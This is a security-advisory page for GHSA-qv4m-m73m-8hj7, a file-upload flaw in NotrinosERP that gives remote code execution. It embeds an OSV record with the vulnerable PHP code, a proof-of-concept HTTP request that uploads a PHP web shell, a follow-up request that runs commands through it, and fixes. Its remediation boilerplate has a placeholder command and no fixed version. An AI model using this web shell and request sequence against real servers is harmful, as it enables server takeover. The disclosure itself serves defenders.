GHSA-qv4m-m73m-8hj7: NotrinosERP Remote Code Execution Vulnerability
HIGHGHSA-qv4m-m73m-8hj7 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting NotrinosERP libraries in the Packagist ecosystem. The issue involves authenticated arbitrary file upload leads to remote code execution via hrm employee "documents" (doc_file). Remediation is available in the latest vendor maintenance releases.
GHSA-qv4m-m73m-8hj7 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix GHSA-qv4m-m73m-8hj7
To remediate this vulnerability, upgrade all affected NotrinosERP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade notrinos/notrinos-erp to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for notrinos/notrinos-erp
How to Check if You Are Affected
To determine whether your application is affected by GHSA-qv4m-m73m-8hj7, inspect your project dependencies for NotrinosERP:
inspect dependencies for notrinos/notrinos-erp
Analyze the terminal output to locate any version of NotrinosERP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In NotrinosERP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-qv4m-m73m-8hj7 Affected NotrinosERP Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
notrinos/notrinos-erp
|
Packagist |
≤ 1.0.0
|
|
References
Frequently Asked Questions
What is GHSA-qv4m-m73m-8hj7?
Which NotrinosERP versions are affected?
What version fixes GHSA-qv4m-m73m-8hj7?
Is notrinos/notrinos-erp affected?
What is the CVSS score of GHSA-qv4m-m73m-8hj7?
What CWE is associated with GHSA-qv4m-m73m-8hj7?
How can I check Packagist dependencies for GHSA-qv4m-m73m-8hj7?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qv4m-m73m-8hj7",
"modified" : "2026-07-10T19:34:03Z",
"published" : "2026-07-10T19:34:03Z",
"aliases" : [ ],
"summary" : "NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)",
"details" : "#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().'/documents/employees';\nif (!file_exists($upload_dir))\n mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];\nif (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n only — it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),\n handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1\nHost: <your-local-instance>\nCookie: <authenticated session>\nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n<value of the hidden _token field from the GET response>\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n<a valid document type id>\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n<?php system($_GET['c']); ?>\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab's \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:\n\n```\n$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'\nuid=501(...) gid=20(staff) ...\n$ curl '.../<same>.php?c=uname%20-sm;whoami'\nDarwin arm64\n<user>\n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name\n only as a DB label.\n- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### Resources / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **<Kasper Hong / Kasper Builds>**.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "notrinos/notrinos-erp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/notrinos/NotrinosERP"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-434" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-10T19:34:03Z",
"nvd_published_at" : null
}
}